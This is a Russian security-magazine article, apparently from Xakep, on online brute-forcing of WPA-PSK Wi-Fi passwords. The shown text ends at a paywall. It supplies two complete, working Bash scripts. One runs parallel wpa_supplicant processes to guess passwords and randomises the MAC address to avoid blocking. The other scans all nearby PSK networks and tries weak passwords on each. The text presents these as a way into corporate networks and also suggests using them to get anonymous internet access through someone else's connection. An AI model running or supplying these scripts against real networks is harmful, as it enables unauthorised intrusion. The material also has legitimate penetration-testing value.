Ата­ки на Wi-Fi чрез­вычай­но раз­нооб­разны: зло­умыш­ленник может попытать­ся взло­мать кли­ент­ские устрой­ства и точ­ки дос­тупа, да и пос­ледние могут исполь­зовать раз­ные про­токо­лы и методы аутен­тифика­ции. В этой статье мы рас­смот­рим прос­той, но эффектив­ный метод брут­форса бес­про­вод­ных сетей.

info

Эта статья — часть серии пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак. Пре­дыду­щая статья серии: «Ме­гад­рон. Стро­им хакер­ский бес­пилот­ник — даль­нобой­ный и с защитой от глу­шилок».

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

На­ибо­лее час­то встре­чают­ся сети WPA PSK. Даже если в ком­пании исполь­зуют­ся сети WPA-Enterprise, а все осталь­ное зап­рещено, мы всег­да можем най­ти WPA PSK бла­года­ря тем же бес­про­вод­ным прин­терам и вся­чес­ким несан­кци­они­рован­ным точ­кам дос­тупа, работа­ющим на телефо­нах сот­рудни­ков. И чем боль­ше периметр ком­пании, тем боль­ше таких потен­циаль­ных точек вхо­да мож­но обна­ружить. При ата­ках на точ­ки дос­тупа с WPA PSK обыч­но исполь­зует­ся сле­дующая схе­ма.

Классическая схема действий при атаках WPA PSK
Клас­сичес­кая схе­ма дей­ствий при ата­ках WPA PSK

Но что делать, если у точ­ки дос­тупа нет кли­ентов? Гру­бо говоря, где‑то у полови­ны обна­ружен­ных бес­про­вод­ных сетей будут отсутс­тво­вать активные кли­енты, а дру­гая полови­на не будет под­верже­на PMKID, и у таких сетей не обна­ружит­ся уяз­вимый к перебо­ру WPS. Выходит, подоб­ные точ­ки дос­тупа устой­чивы к ата­кам, даже если на них исполь­зует­ся пароль 12345678? А что нам меша­ет ата­ковать их?

 

Онлайновый брутфорс с использованием wpa_supplicant

По­доб­рать пароль к обыч­ной WPA-сети всег­да мож­но прос­тым перебо­ром, аутен­тифици­руясь и спра­шивая каж­дый раз пароль непос­редс­твен­но у точ­ки дос­тупа (этот метод называ­ется онлайн‑брут­форсом).

Ата­ки онлайн‑под­бором пароля к Wi-Fi-сетям край­не ред­ки, и в интерне­те мож­но най­ти не так уж мно­го реали­заций такой ата­ки. Оно и понят­но: ведь ее ско­рость низ­кая в срав­нении с брут­форсом того же WPA Handshake или PMKID. Но имен­но эта ата­ка может быть единс­твен­но воз­можной поч­ти в чет­верти слу­чаев. И пусть ско­рость под­бора будет не так высока, это явно луч­ше, чем сидеть и ждать у моря погоды. Так ли нуж­на нам высокая ско­рость брут­форса, ког­да речь идет о небезо­пас­ных паролях? Мож­но пред­положить, что при­мер­но на каж­дой десятой точ­ке дос­тупа исполь­зован прес­ловутый пароль 12345678. Неуже­ли для ата­ки подоб­ных устрой­ств нужен хен­дшейк?

Брутфорс онлайн в ширину (много точек доступа, несколько паролей)
Брут­форс онлайн в ширину (мно­го точек дос­тупа, нес­коль­ко паролей)

А что, если мы возь­мем с десяток самых сла­бых паролей? Реали­зовать онлайн‑брут­форс мы можем дос­таточ­но прос­то с помощью скрип­та на Bash, исполь­зуя лишь wpa_supplicant:

wpa-brute.sh
#!/bin/bash
RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'
TIMEOUT=15
IFACE=wlan0
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && wordlist="$2" || read -p 'wordlist: ' wordlist
[[ $# -ge 3 ]] && threads="$3" || threads=1
rand=$RANDOM
if [ "$threads" -eq 1 ]; then
touch "/tmp/wpa_${rand}_${essid}.conf"
while read -r password
do
[[ "${#password}" -lt 8 ]] && continue
#sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
wpa_passphrase "$essid" "$password" > "/tmp/wpa_${rand}_${essid}.conf" || continue
sed -i 's/^.*#psk=.*$/\tscan_ssid=1/g' "/tmp/wpa_${rand}_${essid}.conf"
sudo ifconfig $IFACE up
sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c "/tmp/wpa_${rand}_${essid}.conf" 2>&1 > "/tmp/wpa_${rand}_${essid}.log" &
wpa_supplicant=$!
tail -f "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null | while read -t $TIMEOUT line
do
#echo "$line"
if echo "$line" | grep -q "completed"; then
break
elif echo "$line" | grep -q "Handshake failed"; then
break
fi
done
sudo pkill -P $wpa_supplicant 2> /dev/null
now=$(date +'%H:%M:%S')
if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" > /dev/null; then
echo -e $GREEN "[+] [$now] $IFACE $essid: $password" $RESET
exit 1
elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.log"; then
echo -e $RED "[-] [$now] $IFACE $essid: $password" $RESET
else
echo -e $GREY "[!] [$now] $IFACE $essid: $password" $RESET
echo "$password" >> "$wordlist"
fi
rm "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null
rm "/tmp/wpa_${rand}_${essid}.conf" 2> /dev/null
done < "$wordlist"
elif [ "$threads" -gt 1 ]; then
typeset -a pids=()
for ((thread=0; thread<$threads; thread++)); do
"$0" "$1" <(cat "$2" | awk "NR%$threads==$thread") || pkill -f "$0" &
pids+=($!)
#sleep 0.25
done
for pid in ${pids[*]}; do
tail --pid=$pid -f /dev/null
done
fi

Скрипт будет пытать­ся под­клю­чить­ся к точ­ке дос­тупа, исполь­зуя исклю­читель­но легитим­ное ПО. На каж­дой ите­рации, что­бы избе­жать бло­киро­вок, он может менять наш MAC-адрес на ран­домный. Такой скрипт не тре­бует осо­бых режимов бес­про­вод­ной сетевой кар­ты и может быть запущен на любом компь­юте­ре и даже на устрой­стве с Android.

Брутфорс онлайн в глубину в четыре потока (одна точка доступа, много паролей)
Брут­форс онлайн в глу­бину в четыре потока (одна точ­ка дос­тупа, мно­го паролей)

Этот метод не так уж и плох, ведь даже Android по умол­чанию управля­ет бес­про­вод­ными соеди­нени­ями через ста­рый доб­рый wpa_supplicant. Cчи­тает­ся, что онлайн‑брут­форс точек дос­тупа не парал­лелит­ся, а ско­рость под­бора пароля уве­личить невоз­можно. Одна­ко при одновре­мен­ном брут­форсе паролей сра­зу с двух устрой­ств не было замече­но падения ско­рос­ти, сле­дова­тель­но, уве­личе­ние быс­тро­дей­ствия воз­можно.

В скрип­те wpa-brute.sh есть под­дер­жка мно­гопо­точ­ности, реали­зован­ная дос­таточ­но прос­тым и ори­гиналь­ным спо­собом: на одном и том же WLAN-интерфей­се мы можем одновре­мен­но запус­кать сра­зу нес­коль­ко про­цес­сов wpa_supplicant. Пока один ждет отве­та от точ­ки дос­тупа, дру­гой wpa_supplicant может отправ­лять пакеты аутен­тифика­ции со сле­дующим паролем. Зна­чит, ско­рость брут­форса все же может быть уве­личе­на, прав­да, в разум­ных пре­делах и не на всех точ­ках дос­тупа в рав­ной сте­пени.

До­бавив обер­тку вок­руг скрип­та wpa-brute.sh, мы можем реали­зовать брут­форс в ширину:

wpa_brute-width.sh
#!/bin/bash
RED='\x1b[31m'
GREEN='\x1b[32m'
GREY='\x1b[90m'
RESET='\x1b[0m'
IFACE=wlan0
TIMEOUT=60
PASSWD=()
MAX_TREADS=6
[[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=("$passwd"); done
#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)
#sudo killall -KILL wpa_supplicant 2> /dev/null
mkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute
while :
do
sudo ifconfig $IFACE up
typeset -a bssids=()
typeset -a essids=()
typeset -a signals=()
IFS=$'\x0a'
for line in $(sudo iw dev $IFACE scan 2> /dev/null | egrep '^BSS|SSID:|signal:|Authentication' | tr $'\n' $'\t' | sed -e 's/BSS/\nBSS/g' | grep 'PSK')
do
IFS=$'\t' read bssid signal essid <<< $(echo "$line" | sed -rn 's/BSS (.+)\(.*\t+signal: (.*).00 dBm.*\t+SSID: ([^\t]+)\t.*/\1\t\2\t\3/p')
if [ -n "$essid" ]; then
#echo "[*] $bssid $signal $essid"
bssids+=($bssid)
essids+=($essid)
signals+=($signal)
fi
done
for ((i=0; i<${#bssids[@]}; i++))
do
echo "${essids[i]}"$'\t'"${bssids[i]}"$'\t'"${signals[i]}"
done | sort -n -k 3 -r | uniq > /tmp/wpa_brute/wpa_net.txt
IFS=$'\x0a'
for net in $(cat /tmp/wpa_brute/wpa_net.txt)
do
IFS=$'\t' read essid bssid signal <<< $(echo "$net")
fgrep -q "$essid" /tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continue
echo "[+] $essid $bssid $signal"
sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up
threads=0
for passwd in ${PASSWD[*]}
do ((threads++))
echo "$passwd"
done > /tmp/wpa_brute/wordlist.txt
timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid" /tmp/wpa_brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS ))
echo "$essid" >> /tmp/wpa_brute/essids_known.txt
break
done
done

Cкрипт на каж­дой ите­рации будет ска­ниро­вать эфир, про­верять наличие бес­про­вод­ных сетей, сор­тировать их по уров­ню сиг­нала и пытать­ся подоб­рать толь­ко один или нес­коль­ко ука­зан­ных паролей.

Брут­форс в ширину может быть очень полезен, ког­да ата­куемый объ­ект име­ет про­тяжен­ный периметр с кучей раз­нооб­разных Wi-Fi-сетей, мно­гие из которых — это несан­кци­они­рован­ные сети, раз­дава­емые поль­зовате­лями, не силь­но заботя­щими­ся о защищен­ности. Дру­гой хороший при­мер сла­бо защищен­ных устрой­ств, которые обя­затель­но сто­ит искать подоб­ным методом, — это прин­теры. И то и дру­гое может стать отличной точ­кой вхо­да во внут­реннюю сеть ком­пании.

Ис­поль­зовать брут­форс в ширину мож­но и без цели про­ник­новения, нап­ример что­бы орга­низо­вать ано­ним­ный выход в интернет через чужой канал.

 

Онлайновый брутфорс с использованием scapy

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии